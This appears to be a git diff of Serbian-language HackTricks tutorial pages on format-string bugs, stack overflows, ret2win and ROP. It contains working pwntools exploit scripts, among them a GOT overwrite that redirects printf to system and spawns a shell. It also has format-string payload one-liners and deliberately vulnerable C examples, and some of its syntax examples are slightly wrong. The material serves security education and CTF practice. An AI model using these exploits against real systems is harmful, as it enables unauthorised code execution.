* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova** na [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova** ka [**hacktricks repozitorijumu**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijumu**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Osnovne informacije
|
||||
|
||||
U programskom jeziku C **`printf`** je funkcija koja se može koristiti za **ispisivanje** nekog stringa. **Prvi parametar** koji ova funkcija očekuje je **sirovi tekst sa formatima**. **Sledeći parametri** koji se očekuju su **vrednosti** koje će **zameniti** **formatere** iz sirovog teksta.
|
||||
U programskom jeziku C, **`printf`** je funkcija koja se može koristiti za **ispisivanje** stringova. Prvi parametar koji ova funkcija očekuje je **sirovi tekst sa formatima**. Sledeći očekivani parametri su **vrednosti** koje će **zameniti** **formatere** iz sirovog teksta.
|
||||
|
||||
Ranjivost se pojavljuje kada **napadačev tekst bude postavljen kao prvi argument** ovoj funkciji. Napadač će moći da oblikuje **specijalan unos zloupotrebom** mogućnosti **printf formatiranja stringova** da **upiše bilo koje podatke na bilo koju adresu**. Na ovaj način, moći će da **izvrši proizvoljan kod**.
|
||||
Ranjivost se pojavljuje kada **tekst napadača bude korišćen kao prvi argument** ovoj funkciji. Napadač će moći da kreira **specijalan unos zloupotrebom mogućnosti formatiranja stringova** funkcije `printf` kako bi čitao i **pisao bilo koje podatke na bilo kojoj adresi (čitljivo/pisivo)**. Na taj način, moći će da **izvrši proizvoljan kod**.
|
||||
|
||||
Formati:
|
||||
#### Formatteri:
|
||||
```bash
|
||||
%08x —> 8 hex bytes
|
||||
%d —> Entire
|
||||
|
@ -28,24 +28,88 @@ Formati:
|
|||
%hn —> Occupies 2 bytes instead of 4
|
||||
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
|
||||
```
|
||||
**`%n`** **upisuje** broj napisanih bajtova na **označenu adresu. Pisanje** toliko **bajtova** koliko je heksadecimalni broj koji **treba** napisati je način kako možete **napisati bilo koje podatke**.
|
||||
**Primeri:**
|
||||
|
||||
* Ranjiv primer:
|
||||
```c
|
||||
char buffer[30];
|
||||
gets(buffer); // Dangerous: takes user input without restrictions.
|
||||
printf(buffer); // If buffer contains "%x", it reads from the stack.
|
||||
```
|
||||
* Normalna upotreba:
|
||||
```c
|
||||
int value = 1205;
|
||||
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
|
||||
```
|
||||
* Sa nedostajućim argumentima:
|
||||
```c
|
||||
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
|
||||
```
|
||||
### **Pristupanje pokazivačima**
|
||||
|
||||
Format **`%<n>$x`**, gde je `n` broj, omogućava da se printf-u pokaže da izabere n-ti parametar (sa steka). Dakle, ako želite da pročitate 4. parametar sa steka koristeći printf, možete uraditi:
|
||||
```c
|
||||
printf("%x %x %x %x")
|
||||
```
|
||||
i pročitao bi ste od prvog do četvrtog parametra.
|
||||
|
||||
Ili možete uraditi:
|
||||
```c
|
||||
printf("$4%x")
|
||||
```
|
||||
i pročitajte direktno četvrti.
|
||||
|
||||
Primetite da napadač kontroliše parametar `pr`**`intf`**, što u osnovi znači da** njegov unos će biti na steku kada se pozove `printf`, što znači da bi mogao da upiše određene memorijske adrese na stek.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Napadač koji kontroliše ovaj unos, moći će **dodati proizvoljnu adresu na stek i naterati `printf` da im pristupi**. U sledećem odeljku će biti objašnjeno kako iskoristiti ovaj ponašanje.
|
||||
{% endhint %}
|
||||
|
||||
## **Proizvoljno čitanje**
|
||||
|
||||
Moguće je koristiti format **`$n%s`** da bi se **`printf`** dobio **adresu** smeštenu na **n poziciji**, sledeći je i **odštampao kao da je string** (odštampati dok se ne pronađe 0x00). Dakle, ako je osnovna adresa binarnog fajla **`0x8048000`**, i znamo da korisnički unos počinje na 4. poziciji na steku, moguće je odštampati početak binarnog fajla sa:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
p = process('./bin')
|
||||
|
||||
payload = b'%6$p' #4th param
|
||||
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
|
||||
payload += p32(0x8048000) #6th param
|
||||
|
||||
p.sendline(payload)
|
||||
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
Imajte na umu da ne možete staviti adresu 0x8048000 na početak unosa jer će string biti završen sa 0x00 na kraju te adrese.
|
||||
{% endhint %}
|
||||
|
||||
## **Proizvoljni zapis**
|
||||
|
||||
Formatter **`$<num>%n`** **upisuje** broj napisanih bajtova na **označenu adresu** u parametru \<num> na steku. Ako napadač može da upiše toliko znakova koliko želi sa printf, moći će da natera **`$<num>%n`** da upiše proizvoljan broj na proizvoljnu adresu.
|
||||
|
||||
Srećom, da bi se upisao broj 9999, nije potrebno dodati 9999 "A" na unos, već je moguće koristiti formatter **`%.<num-write>%<num>$n`** da se upiše broj **`<num-write>`** na **adresu na koju pokazuje pozicija `num`**.
|
||||
```bash
|
||||
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
|
||||
AAAA.%500\$08x —> Param at offset 500
|
||||
```
|
||||
### **Tok eksploatacije**
|
||||
Međutim, imajte na umu da se obično koristi `$hn` umesto `$n` kako bi se napisala adresa poput `0x08049724` (što je OGROMAN broj za napisati odjednom). Ovo omogućava da se napišu samo 2 bajta. Stoga se ova operacija vrši dva puta, jednom za najviša 2B adrese, a drugi put za najniže.
|
||||
|
||||
Kao što je već objašnjeno, ova ranjivost omogućava **pisanje bilo čega na bilo koju adresu (proizvoljno pisanje).**
|
||||
Ova ranjivost omogućava **pisanje bilo čega na bilo koju adresu (proizvoljno pisanje)**.
|
||||
|
||||
Cilj je **prepisati** **adresu** neke **funkcije** u **GOT** tabeli koja će biti pozvana kasnije. Idealno bi bilo postaviti **adresu na shellcode** koji se nalazi u izvršnom delu, ali je vrlo verovatno da nećete moći da napišete shellcode u izvršnom delu.\
|
||||
Stoga, druga opcija je **prepisati** **funkciju** koja **prima** svoje **argumente** od **korisnika** i usmeriti je ka funkciji **`system`**.
|
||||
U ovom primeru, cilj je da se **prepiše** adresa **funkcije** u **GOT** tabeli koja će biti pozvana kasnije. Iako bi ovo moglo zloupotrebiti druge tehnike proizvoljnog pisanja za izvršenje:
|
||||
|
||||
Za pisanje adrese, obično se obavljaju 2 koraka: Prvo se **pišu 2 bajta** adrese, a zatim druga 2. Za to se koristi **`$hn`**.
|
||||
{% content-ref url="../arbitrary-write-2-exec/" %}
|
||||
[arbitrary-write-2-exec](../arbitrary-write-2-exec/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
**HOB** se odnosi na 2 viša bajta adrese\
|
||||
**LOB** se odnosi na 2 niža bajta adrese
|
||||
Nameravamo **prepisati** funkciju koja **prima** svoje **argumente** od **korisnika** i usmeriti je na funkciju **`system`**.\
|
||||
Kao što je pomenuto, za pisanje adrese obično su potrebna 2 koraka: Prvo se **pišu 2 bajta** adrese, a zatim druga 2. Za to se koristi **`$hn`**.
|
||||
|
||||
Zbog toga kako format string radi, prvo morate **najpre napisati manji** od \[HOB, LOB\] a zatim drugi.
|
||||
* **HOB** se odnosi na 2 viša bajta adrese
|
||||
* **LOB** se odnosi na 2 niža bajta adrese
|
||||
|
||||
Zatim, zbog toga kako format string radi, morate **prvo napisati manji** od \[HOB, LOB\] a zatim drugi.
|
||||
|
||||
Ako je HOB < LOB\
|
||||
`[adresa+2][adresa]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
|
||||
|
@ -55,12 +119,52 @@ Ako je HOB > LOB\
|
|||
|
||||
HOB LOB HOB\_shellcode-8 NºParam\_dir\_HOB LOB\_shell-HOB\_shell NºParam\_dir\_LOB
|
||||
|
||||
\`python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'\`
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
## Pwntools Šablon
|
||||
### Pwntools Šablon
|
||||
|
||||
Možete pronaći šablon za pripremu eksploata za ovu vrstu ranjivosti u:
|
||||
Možete pronaći šablon za pripremu eksploatacije ovakve vrste ranjivosti u:
|
||||
|
||||
{% content-ref url="format-strings-template.md" %}
|
||||
[format-strings-template.md](format-strings-template.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Ili ovaj osnovni primer sa [**ovde**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
elf = context.binary = ELF('./got_overwrite-32')
|
||||
libc = elf.libc
|
||||
libc.address = 0xf7dc2000 # ASLR disabled
|
||||
|
||||
p = process()
|
||||
|
||||
payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
|
||||
p.sendline(payload)
|
||||
|
||||
p.clean()
|
||||
|
||||
p.sendline('/bin/sh')
|
||||
|
||||
p.interactive()
|
||||
```
|
||||
## Ostali Primeri & Reference
|
||||
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
|
||||
* [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS-a ili preuzimanje HackTricks-a u PDF-u**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili **telegram grupi** ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova** na [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Stack Overflow
|
||||
# Prekoračenje steka
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -6,22 +6,22 @@
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
||||
## Šta je Stack Overflow
|
||||
## Šta je prekoračenje steka
|
||||
|
||||
**Stack overflow** je ranjivost koja se javlja kada program upisuje više podataka na stek nego što je alociran za njihovo čuvanje. Ovi višak podataka će **prepisati susedni memorijski prostor**, što dovodi do korupcije validnih podataka, prekida kontrolnog toka i potencijalno izvršavanja zlonamernog koda. Ovaj problem često nastaje zbog korišćenja nesigurnih funkcija koje ne vrše proveru granica unosa.
|
||||
**Prekoračenje steka** je ranjivost koja se javlja kada program upisuje više podataka na stek nego što je alociran za njihovo čuvanje. Ovi višak podataka će **prepisati susedni memorijski prostor**, što dovodi do korupcije validnih podataka, poremećaja kontrolnog toka i potencijalno izvršavanja zlonamernog koda. Ovaj problem često nastaje zbog korišćenja nesigurnih funkcija koje ne vrše proveru granica unosa.
|
||||
|
||||
Glavni problem ovog prepisivanja je što su pokazivači **EIP** i **EBP** za povratak na prethodnu funkciju **sačuvani na steku**. Stoga, napadač će moći da prepiše te vrednosti i **kontroliše izvršavanje programa**.
|
||||
|
||||
Ranjivost obično nastaje jer funkcija **kopira više bajtova unutar steka nego što je alocirano za to**, što omogućava prepisivanje drugih delova steka.\
|
||||
Neke uobičajene funkcije koje su ranjive na ovo su: `strcpy`, `strcat`, `sprintf`, `gets`, `fgets`...
|
||||
Ranjivost obično nastaje jer funkcija **kopira unutar steka više bajtova nego što je alocirano za nju**, što omogućava prepisivanje drugih delova steka.\
|
||||
Neki uobičajeni funkcije ranjive na ovo su: `strcpy`, `strcat`, `sprintf`, `gets`, `fgets`...
|
||||
|
||||
Na primer, sledeće funkcije mogu biti ranjive:
|
||||
```c
|
||||
|
@ -36,9 +36,9 @@ printf("You entered: %s\n", buffer);
|
|||
|
||||
Najčešći način pronalaženja preplavljivanja steka je unošenje vrlo velikog unosa `A` (npr. `python3 -c 'print("A"*1000)'`) i očekivanje `Segmentation Fault` koji ukazuje da je **pokušano pristupanje adresi `0x41414141`**.
|
||||
|
||||
Osim toga, kada otkrijete da postoji ranjivost preplavljivanja steka, moraćete pronaći pomak dok ne bude moguće **prepisati pokazivač EIP-a**, za to se obično koristi **De Bruijn sekvencija**. Koja za dati alfabet veličine _k_ i podnizove dužine _n_ predstavlja **cikličnu sekvencu u kojoj se svaki mogući podniz dužine **_**n**_** pojavljuje tačno jednom** kao kontinuirani podniz.
|
||||
Osim toga, kada otkrijete da postoji ranjivost preplavljivanja steka, moraćete pronaći pomak dok je moguće **prepisati pokazivač EIP**, za to se obično koristi **De Bruijn sekvencija**. Koja za dati alfabet veličine _k_ i podnizove dužine _n_ predstavlja **cikličnu sekvencu u kojoj se svaki mogući podniz dužine _n_ pojavljuje tačno jednom** kao kontinuirani podniz.
|
||||
|
||||
Na ovaj način, umesto da ručno određujete koji pomak preplavljuje EIP, moguće je koristiti jednu od ovih sekvenci kao punjenje, a zatim pronaći pomak bajtova koji su završili prepisivanjem.
|
||||
Na ovaj način, umesto da ručno određujete koji pomak preplavljuje EIP, moguće je koristiti jednu od ovih sekvenci kao punjenje, a zatim pronaći pomak bajtova koji su završili prepisivanje.
|
||||
|
||||
Moguće je koristiti **pwntools** za ovo:
|
||||
```python
|
||||
|
@ -62,13 +62,13 @@ pattern search $rsp #Search the offset given the content of $rsp
|
|||
## Iskorišćavanje preplavljenosti steka
|
||||
|
||||
Tokom preplavljenosti (pretpostavljajući da je veličina preplavljenosti dovoljno velika) moći ćete da prepišete vrednosti drugih promenljivih unutar steka sve do dostizanja EBP i EIP (ili čak više).\
|
||||
Najčešći način zloupotrebe ovog tipa ranjivosti je **izmena pokazivača EIP-a** tako da kada funkcija završi, **tok kontrole će biti preusmeren gde god je korisnik odredio** u ovom pokazivaču.
|
||||
Najčešći način zloupotrebe ovog tipa ranjivosti je **izmena pokazivača EIP** tako da kada funkcija završi, **tok kontrole će biti preusmeren gde god je korisnik odredio** u ovom pokazivaču.
|
||||
|
||||
Međutim, u drugim scenarijima možda je dovoljno samo **prepisati vrednosti nekih promenljivih u steku** za eksploataciju (kao u jednostavnim CTF izazovima).
|
||||
|
||||
### Ret2win
|
||||
|
||||
U ovom tipu CTF izazova, postoji **funkcija unutar** binarnog fajla koja **nikada nije pozvana** i koju **morate pozvati da biste pobedili**. Za ove izazove samo trebate pronaći **pomeraj za prepisivanje EIP-a** i **pronaći adresu funkcije** koju treba pozvati (obično je [**ASLR**](../common-binary-protections/aslr.md) onemogućen) tako da kada ranjiva funkcija završi, skrivena funkcija će biti pozvana:
|
||||
U ovom tipu CTF izazova, postoji **funkcija unutar** binarnog fajla koja **nikada nije pozvana** i koju **morate pozvati da biste pobedili**. Za ove izazove samo trebate pronaći **pomeraj za prepisivanje EIP-a** i **pronaći adresu funkcije** koju treba pozvati (obično je [**ASLR**](../common-binary-protections-and-bypasses/aslr/) onemogućen) tako da kada ranjiva funkcija završi, skrivena funkcija će biti pozvana:
|
||||
|
||||
{% content-ref url="ret2win.md" %}
|
||||
[ret2win.md](ret2win.md)
|
||||
|
@ -94,8 +94,8 @@ Ova tehnika je osnovni okvir za zaobilaženje glavne zaštite prethodne tehnike:
|
|||
|
||||
Postoje različite zaštite koje pokušavaju da spreče eksploataciju ranjivosti, proverite ih u:
|
||||
|
||||
{% content-ref url="../common-binary-protections/" %}
|
||||
[common-binary-protections](../common-binary-protections/)
|
||||
{% content-ref url="../common-binary-protections-and-bypasses/" %}
|
||||
[common-binary-protections-and-bypasses](../common-binary-protections-and-bypasses/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
<details>
|
||||
|
@ -104,10 +104,10 @@ Postoje različite zaštite koje pokušavaju da spreče eksploataciju ranjivosti
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili **telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,7 +6,7 @@
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -46,10 +46,10 @@ gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
|
|||
* `-m32`: Kompajliraj program kao 32-bitni binarni fajl (ovo je opcionalno ali često se koristi u CTF izazovima).
|
||||
* `-fno-stack-protector`: Onemogući zaštitu od preplavljivanja steka.
|
||||
* `-z execstack`: Dozvoli izvršavanje koda na steku.
|
||||
* `-no-pie`: Onemogući Position Independent Executable kako bi se osiguralo da adresa funkcije `win` ostane nepromenjena.
|
||||
* `-no-pie`: Onemogući izvršavanje nezavisno od pozicije kako bi se osiguralo da se adresa funkcije `win` ne menja.
|
||||
* `-o vulnerable`: Nazovi izlazni fajl `vulnerable`.
|
||||
|
||||
### Python Exploit korišćenjem Pwntools
|
||||
### Python Eksploatacija korišćenjem Pwntools
|
||||
|
||||
Za eksploataciju, koristićemo **pwntools**, moćan CTF okvir za pisanje eksploata. Skripta za eksploataciju će kreirati payload kako bi preplavila bafer i prepisala povratnu adresu sa adresom funkcije `win`.
|
||||
```python
|
||||
|
@ -71,19 +71,33 @@ payload = b'A' * 68 + win_addr
|
|||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
Da biste pronašli adresu funkcije `win`, možete koristiti **gdb**, **objdump**, ili bilo koji drugi alat koji vam omogućava da pregledate binarne datoteke. Na primer, sa `objdump`-om, možete koristiti:
|
||||
Da biste pronašli adresu funkcije `win`, možete koristiti **gdb**, **objdump**, ili bilo koji drugi alat koji vam omogućava da pregledate binarne datoteke. Na primer, sa `objdump`, možete koristiti:
|
||||
```sh
|
||||
objdump -d vulnerable | grep win
|
||||
```
|
||||
Ova komanda će vam prikazati sklop `win` funkcije, uključujući njenu početnu adresu.
|
||||
|
||||
Python skripta šalje pažljivo oblikovanu poruku koja, kada je obrađena od strane `vulnerable_function`, preplavljuje bafer i prepisuje povratnu adresu na steku adresom `win`. Kada `vulnerable_function` završi, umesto da se vrati na `main` ili izađe, preskače do `win`, i poruka se ispisuje.
|
||||
Python skripta šalje pažljivo oblikovanu poruku koja, kada je obrađena od strane `vulnerable_function`, preplavljuje bafer i prepisuje adresu povratka na steku adresom `win`. Kada `vulnerable_function` završi, umesto vraćanja na `main` ili izlaska, prelazi na `win`, i poruka se ispisuje.
|
||||
|
||||
## Zaštite
|
||||
|
||||
* [**ASLR**](../common-binary-protections/aslr.md) **treba da bude onemogućen** kako bi adresa bila pouzdana tokom izvršavanja ili adresa na kojoj će funkcija biti smeštena neće uvek biti ista i trebaće vam neko curenje informacija da biste saznali gde je funkcija win učitana.
|
||||
* [**Stack Canaries**](../common-binary-protections/stack-canaries.md) takođe treba da budu onemogućeni ili kompromitovana povratna adresa EIP nikada neće biti praćena.
|
||||
* **ASLR** **treba da bude onemogućen** kako bi adresa bila pouzdana tokom izvršavanja ili adresa na kojoj će funkcija biti smeštena neće uvek biti ista i trebaće vam neko curenje informacija da biste saznali gde je funkcija `win` učitana.
|
||||
* **Stack Canaries** takođe treba da budu onemogućeni ili kompromitovana adresa povratka EIP nikada neće biti praćena.
|
||||
|
||||
## Ostali primeri & Reference
|
||||
## Ostali primeri i Reference
|
||||
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,7 +6,7 @@
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -16,19 +16,19 @@ Drugi načini podrške HackTricks-u:
|
|||
|
||||
## **Osnovne informacije**
|
||||
|
||||
**Return-Oriented Programming (ROP)** je napredna tehnika eksploatacije koja se koristi za zaobilaženje sigurnosnih mera poput **No-Execute (NX)** ili **Data Execution Prevention (DEP)**. Umesto ubacivanja i izvršavanja shell koda, napadač koristi delove koda već prisutne u binarnom fajlu ili u učitanim bibliotekama, poznate kao **"gadgeti"**. Svaki gadget obično završava sa `ret` instrukcijom i obavlja malu operaciju, poput premeštanja podataka između registara ili izvođenja aritmetičkih operacija. Spajanjem ovih gadgeta, napadač može konstruisati payload za izvođenje proizvoljnih operacija, efikasno zaobilazeći NX/DEP zaštite.
|
||||
**Return-Oriented Programming (ROP)** je napredna tehnika eksploatacije koja se koristi za zaobilaženje sigurnosnih mera poput **No-Execute (NX)** ili **Data Execution Prevention (DEP)**. Umesto ubacivanja i izvršavanja shell koda, napadač koristi delove koda već prisutne u binarnom fajlu ili u učitanim bibliotekama, poznate kao **"gadgeti"**. Svaki gadget obično završava sa `ret` instrukcijom i obavlja malu operaciju, poput premeštanja podataka između registara ili obavljanja aritmetičkih operacija. Spajanjem ovih gadgeta, napadač može konstruisati payload za obavljanje proizvoljnih operacija, efikasno zaobilazeći NX/DEP zaštite.
|
||||
|
||||
### Kako ROP funkcioniše
|
||||
|
||||
1. **Preuzimanje kontrole toka**: Prvo, napadač mora preuzeti kontrolu toka programa, obično iskorišćavanjem prelivanja bafera da bi prepisao sačuvanu adresu povratka na steku.
|
||||
2. **Spajanje Gadgeta**: Napadač zatim pažljivo bira i spaja gadgete da bi izvršio željene akcije. To može uključivati postavljanje argumenata za poziv funkcije, pozivanje funkcije (npr. `system("/bin/sh")`), i rukovanje neophodnim čišćenjem ili dodatnim operacijama.
|
||||
3. **Izvršenje Payloada**: Kada ranjiva funkcija završi, umesto povratka na legitimnu lokaciju, počinje izvršavanje lanca gadgeta.
|
||||
2. **Spajanje Gadgeta**: Napadač zatim pažljivo bira i spaja gadgete da bi obavio željene akcije. To može uključivati postavljanje argumenata za poziv funkcije, pozivanje funkcije (npr. `system("/bin/sh")`), i rukovanje svim neophodnim čišćenjem ili dodatnim operacijama.
|
||||
3. **Izvršavanje Payloada**: Kada ranjiva funkcija završi, umesto povratka na legitimnu lokaciju, počinje izvršavanje lanca gadgeta.
|
||||
|
||||
## ROP Lanac u x86 Primeru
|
||||
|
||||
### **x86 (32-bit) Konvencije pozivanja**
|
||||
|
||||
* **cdecl**: Pozivaoc čisti stek. Argumenti funkcije se guraju na stek u obrnutom redosledu (desno-levu). **Argumenti se guraju na stek s desna na levo.**
|
||||
